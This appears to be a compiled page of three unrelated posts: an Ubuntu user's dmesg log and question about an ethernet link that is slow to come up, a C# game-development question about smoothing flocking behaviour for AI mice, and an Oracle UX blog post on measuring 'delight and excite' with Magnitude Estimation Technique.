[ 28.445620] Bluetooth: BNEP (Ethernet Emulation) ver 1.3 [ 28.445623] Bluetooth: BNEP filters: protocol multicast [ 28.524578] type=1400 audit(1340502641.076:11): apparmor="STATUS" operation="profile_load" name="/usr/lib/cups/backend/cups-pdf" pid=1052 comm="apparmor_parser" [ 28.525018] type=1400 audit(1340502641.076:12): apparmor="STATUS" operation="profile_load" name="/usr/sbin/cupsd" pid=1052 comm="apparmor_parser" [ 28.629957] type=1400 audit(1340502641.180:13): apparmor="STATUS" operation="profile_replace" name="/sbin/dhclient" pid=1105 comm="apparmor_parser" [ 28.630325] type=1400 audit(1340502641.180:14): apparmor="STATUS" operation="profile_replace" name="/usr/lib/NetworkManager/nm-dhcp-client.action" pid=1105 comm="apparmor_parser" [ 28.630535] type=1400 audit(1340502641.180:15): apparmor="STATUS" operation="profile_replace" name="/usr/lib/connman/scripts/dhclient-script" pid=1105 comm="apparmor_parser" [ 28.645266] type=1400 audit(1340502641.196:16): apparmor="STATUS" operation="profile_load" name="/usr/lib/lightdm/lightdm/lightdm-guest-session-wrapper" pid=1104 comm="apparmor_parser" **[ 28.751922] ADDRCONF(NETDEV_UP): wlan0: link is not ready** [ 28.753653] tg3 0000:08:00.0: irq 49 for MSI/MSI-X **[ 28.856127] ADDRCONF(NETDEV_UP): eth0: link is not ready [ 28.857034] ADDRCONF(NETDEV_UP): eth0: link is not ready** [ 28.871080] type=1400 audit(1340502641.420:17): apparmor="STATUS" operation="profile_load" name="/usr/lib/telepathy/mission-control-5" pid=1108 comm="apparmor_parser" [ 28.871519] type=1400 audit(1340502641.420:18): apparmor="STATUS" operation="profile_load" name="/usr/lib/telepathy/telepathy-*" pid=1108 comm="apparmor_parser" [ 28.874905] type=1400 audit(1340502641.424:19): apparmor="STATUS" operation="profile_replace" name="/usr/lib/cups/backend/cups-pdf" pid=1113 comm="apparmor_parser" [ 28.875354] type=1400 audit(1340502641.424:20): apparmor="STATUS" operation="profile_replace" name="/usr/sbin/cupsd" pid=1113 comm="apparmor_parser" [ 30.477976] tg3 0000:08:00.0: eth0: Link is up at 100 Mbps, full duplex [ 30.477979] tg3 0000:08:00.0: eth0: Flow control is on for TX and on for RX **[ 30.478390] ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready** [ 31.110269] fglrx_pci 0000:01:00.0: irq 50 for MSI/MSI-X [ 31.110859] [fglrx] Firegl kernel thread PID: 1327 [ 31.111021] [fglrx] Firegl kernel thread PID: 1329 [ 31.111408] [fglrx] Firegl kernel thread PID: 1330 [ 31.111543] [fglrx] IRQ 50 Enabled [ 31.712938] [fglrx] Gart USWC size:1224 M. [ 31.712941] [fglrx] Gart cacheable size:486 M. [ 31.712945] [fglrx] Reserved FB block: Shared offset:0, size:1000000 [ 31.712948] [fglrx] Reserved FB block: Unshared offset:fc2b000, size:3d5000 [ 31.712950] [fglrx] Reserved FB block: Unshared offset:1fffb000, size:5000 [ 41.312020] eth0: no IPv6 routers present As you can see I get multiple instances of [ 28.856127] ADDRCONF(NETDEV_UP): eth0: link is not ready and then finally it becomes read and I get the message [ 30.478390] ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready. I searched askubuntun, ubuntuforum, and the web but couldn't find a solution. Any help would be very much appreciated. Here is the bootchart

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  • How to implement smooth flocking

    - by Craig
    I'm working on a simple survival game, avoid the big guy and chase the the small guys to stay alive for as long as possible. I have taken the chase and evade example from MSDN create and drawn 20 mice on the screen. I want the small guys to flock when they arent evading. They are doing this, but it isnt as smooth as I would like it to be. How do i make the movement smoother? Its very jittery.# Below is what I have going at the moment, flocking code is within the IF statement, when it isnt set to evading. Any help would be greatly appreciated! :) namespace ChaseAndEvade { class MouseSprite { public enum MouseAiState { // evading the cat Evading, // the mouse can't see the "cat", and it's wandering around. Wander } // how fast can the mouse move? public float MaxMouseSpeed = 4.5f; // and how fast can it turn? public float MouseTurnSpeed = 0.20f; // MouseEvadeDistance controls the distance at which the mouse will flee from // cat. If the mouse is further than "MouseEvadeDistance" pixels away, he will // consider himself safe. public float MouseEvadeDistance = 100.0f; // this constant is similar to TankHysteresis. The value is larger than the // tank's hysteresis value because the mouse is faster than the tank: with a // higher velocity, small fluctuations are much more visible. public float MouseHysteresis = 60.0f; public Texture2D mouseTexture; public Vector2 mouseTextureCenter; public Vector2 mousePosition; public MouseAiState mouseState = MouseAiState.Wander; public float mouseOrientation; public Vector2 mouseWanderDirection; int separationImpact = 4; int cohesionImpact = 6; int alignmentImpact = 2; int sensorDistance = 50; public void UpdateMouse(Vector2 position, MouseSprite [] mice, int numberMice, int index) { Vector2 catPosition = position; int enemies = numberMice; // first, calculate how far away the mouse is from the cat, and use that // information to decide how to behave. If they are too close, the mouse // will switch to "active" mode - fleeing. if they are far apart, the mouse // will switch to "idle" mode, where it roams around the screen. // we use a hysteresis constant in the decision making process, as described // in the accompanying doc file. float distanceFromCat = Vector2.Distance(mousePosition, catPosition); // the cat is a safe distance away, so the mouse should idle: if (distanceFromCat > MouseEvadeDistance + MouseHysteresis) { mouseState = MouseAiState.Wander; } // the cat is too close; the mouse should run: else if (distanceFromCat < MouseEvadeDistance - MouseHysteresis) { mouseState = MouseAiState.Evading; } // if neither of those if blocks hit, we are in the "hysteresis" range, // and the mouse will continue doing whatever it is doing now. // the mouse will move at a different speed depending on what state it // is in. when idle it won't move at full speed, but when actively evading // it will move as fast as it can. this variable is used to track which // speed the mouse should be moving. float currentMouseSpeed; // the second step of the Update is to change the mouse's orientation based // on its current state. if (mouseState == MouseAiState.Evading) { // If the mouse is "active," it is trying to evade the cat. The evasion // behavior is accomplished by using the TurnToFace function to turn // towards a point on a straight line facing away from the cat. In other // words, if the cat is point A, and the mouse is point B, the "seek // point" is C. // C // B // A Vector2 seekPosition = 2 * mousePosition - catPosition; // Use the TurnToFace function, which we introduced in the AI Series 1: // Aiming sample, to turn the mouse towards the seekPosition. Now when // the mouse moves forward, it'll be trying to move in a straight line // away from the cat. mouseOrientation = ChaseAndEvadeGame.TurnToFace(mousePosition, seekPosition, mouseOrientation, MouseTurnSpeed); // set currentMouseSpeed to MaxMouseSpeed - the mouse should run as fast // as it can. currentMouseSpeed = MaxMouseSpeed; } else { // if the mouse isn't trying to evade the cat, it should just meander // around the screen. we'll use the Wander function, which the mouse and // tank share, to accomplish this. mouseWanderDirection and // mouseOrientation are passed by ref so that the wander function can // modify them. for more information on ref parameters, see // http://msdn2.microsoft.com/en-us/library/14akc2c7(VS.80).aspx ChaseAndEvadeGame.Wander(mousePosition, ref mouseWanderDirection, ref mouseOrientation, MouseTurnSpeed); // if the mouse is wandering, it should only move at 25% of its maximum // speed. currentMouseSpeed = .25f * MaxMouseSpeed; Vector2 separate = Vector2.Zero; Vector2 moveCloser = Vector2.Zero; Vector2 moveAligned = Vector2.Zero; // What the AI does when it sees other AIs for (int j = 0; j < enemies; j++) { if (index != j) { // Calculate a vector towards another AI Vector2 separation = mice[index].mousePosition - mice[j].mousePosition; // Only react if other AI is within a certain distance if ((separation.Length() < this.sensorDistance) & (separation.Length()> 0) ) { moveAligned += mice[j].mouseWanderDirection; float distance = Math.Abs(separation.Length()); if (distance == 0) distance = 1; moveCloser += mice[j].mousePosition; separation.Normalize(); separate += separation / distance; } } } if (moveAligned.LengthSquared() != 0) { moveAligned.Normalize(); } if (moveCloser.LengthSquared() != 0) { moveCloser.Normalize(); } moveCloser /= enemies; mice[index].mousePosition += (separate * separationImpact) + (moveCloser * cohesionImpact) + (moveAligned * alignmentImpact); } // The final step is to move the mouse forward based on its current // orientation. First, we construct a "heading" vector from the orientation // angle. To do this, we'll use Cosine and Sine to tell us the x and y // components of the heading vector. See the accompanying doc for more // information. Vector2 heading = new Vector2( (float)Math.Cos(mouseOrientation), (float)Math.Sin(mouseOrientation)); // by multiplying the heading and speed, we can get a velocity vector. the // velocity vector is then added to the mouse's current position, moving him // forward. mousePosition += heading * currentMouseSpeed; } } }

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  • Delight and Excite

    - by Applications User Experience
    Mick McGee, CEO & President, EchoUser Editor’s Note: EchoUser is a User Experience design firm in San Francisco and a member of the Oracle Usability Advisory Board. Mick and his staff regularly consult on Oracle Applications UX projects. Being part of a user experience design firm, we have the luxury of working with a lot of great people across many great companies. We get to help people solve their problems.  At least we used to. The basic design challenge is still the same; however, the goal is not necessarily to solve “problems” anymore; it is, “I want our products to delight and excite!” The question for us as UX professionals is how to design to those goals, and then how to assess them from a usability perspective. I’m not sure where I first heard “delight and excite” (A book? blog post? Facebook  status? Steve Jobs quote?), but now I hear these listed as user experience goals all the time. In particular, somewhat paradoxically, I routinely hear them in enterprise software conversations. And when asking these same enterprise companies what will make the project successful, we very often hear, “Make it like Apple.” In past days, it was “make it like Yahoo (or Amazon or Google“) but now Apple is the common benchmark. Steve Jobs and Apple were not secrets, but with Jobs’ passing and Apple becoming the world’s most valuable company in the last year, the impact of great design and experience is suddenly very widespread. In particular, users’ expectations have gone way up. Being an enterprise company is no shield to the general expectations that users now have, for all products. Designing a “Minimum Viable Product” The user experience challenge has historically been, to echo the words of Eric Ries (author of Lean Startup) , to create a “minimum viable product”: the proverbial, “make it good enough”. But, in our profession, the “minimum viable” part of that phrase has oftentimes, unfortunately, referred to the design and user experience. Technology typically dominated the focus of the biggest, most successful companies. Few have had the laser focus of Apple to also create and sell design and user experience alongside great technology. But now that Apple is the most valuable company in the world, copying their success is a common undertaking. Great design is now a premium offering that everyone wants, from the one-person startup to the largest companies, consumer and enterprise. This emerging business paradigm will have significant impact across the user experience design process and profession. One area that particularly interests me is, how are we going to evaluate these new emerging “delight and excite” experiences, which are further customized to each particular domain? How to Measure “Delight and Excite” Traditional usability measures of task completion rate, assists, time, and errors are still extremely useful in many situations; however, they are too blunt to offer much insight into emerging experiences “Satisfaction” is usually assessed in user testing, in roughly equivalent importance to the above objective metrics. Various surveys and scales have provided ways to measure satisfying UX, with whatever questions they include. However, to meet the demands of new business goals and keep users at the center of design and development processes, we have to explore new methods to better capture custom-experience goals and emotion-driven user responses. We have had success assessing custom experiences, including “delight and excite”, by employing a variety of user testing methods that tend to combine formative and summative techniques (formative being focused more on identifying usability issues and ways to improve design, and summative focused more on metrics). Our most successful tool has been one we’ve been using for a long time, Magnitude Estimation Technique (MET). But it’s not necessarily about MET as a measure, rather how it is created. Caption: For one client, EchoUser did two rounds of testing.  Each test was a mix of performing representative tasks and gathering qualitative impressions. Each user participated in an in-person moderated 1-on-1 session for 1 hour, using a testing set-up where they held the phone. The primary goal was to identify usability issues and recommend design improvements. MET is based on a definition of the desired experience, which users will then use to rate items of interest (usually tasks in a usability test). In other words, a custom experience definition needs to be created. This can then be used to measure satisfaction in accomplishing tasks; “delight and excite”; or anything else from strategic goals, user demands, or elsewhere. For reference, our standard MET definition in usability testing is: “User experience is your perception of how easy to use, well designed and productive an interface is to complete tasks.” Articulating the User Experience We’ve helped construct experience definitions for several clients to better match their business goals. One example is a modification of the above that was needed for a company that makes medical-related products: “User experience is your perception of how easy to use, well-designed, productive and safe an interface is for conducting tasks. ‘Safe’ is how free an environment (including devices, software, facilities, people, etc.) is from danger, risk, and injury.” Another example is from a company that is pushing hard to incorporate “delight” into their enterprise business line: “User experience is your perception of a product’s ease of use and learning, satisfaction and delight in design, and ability to accomplish objectives.” I find the last one particularly compelling in that there is little that identifies the experience as being for a highly technical enterprise application. That definition could easily be applied to any number of consumer products. We have gone further than the above, including “sexy” and “cool” where decision-makers insisted they were part of the desired experience. We also applied it to completely different experiences where the “interface” was, for example, riding public transit, the “tasks” were train rides, and we followed the participants through the train-riding journey and rated various aspects accordingly: “A good public transportation experience is a cost-effective way of reliably, conveniently, and safely getting me to my intended destination on time.” To construct these definitions, we’ve employed both bottom-up and top-down approaches, depending on circumstances. For bottom-up, user inputs help dictate the terms that best fit the desired experience (usually by way of cluster and factor analysis). Top-down depends on strategic, visionary goals expressed by upper management that we then attempt to integrate into product development (e.g., “delight and excite”). We like a combination of both approaches to push the innovation envelope, but still be mindful of current user concerns. Hopefully the idea of crafting your own custom experience, and a way to measure it, can provide you with some ideas how you can adapt your user experience needs to whatever company you are in. Whether product-development or service-oriented, nearly every company is ultimately providing a user experience. The Bottom Line Creating great experiences may have been popularized by Steve Jobs and Apple, but I’ll be honest, it’s a good feeling to be moving from “good enough” to “delight and excite,” despite the challenge that entails. In fact, it’s because of that challenge that we will expand what we do as UX professionals to help deliver and assess those experiences. I’m excited to see how we, Oracle, and the rest of the industry will live up to that challenge.

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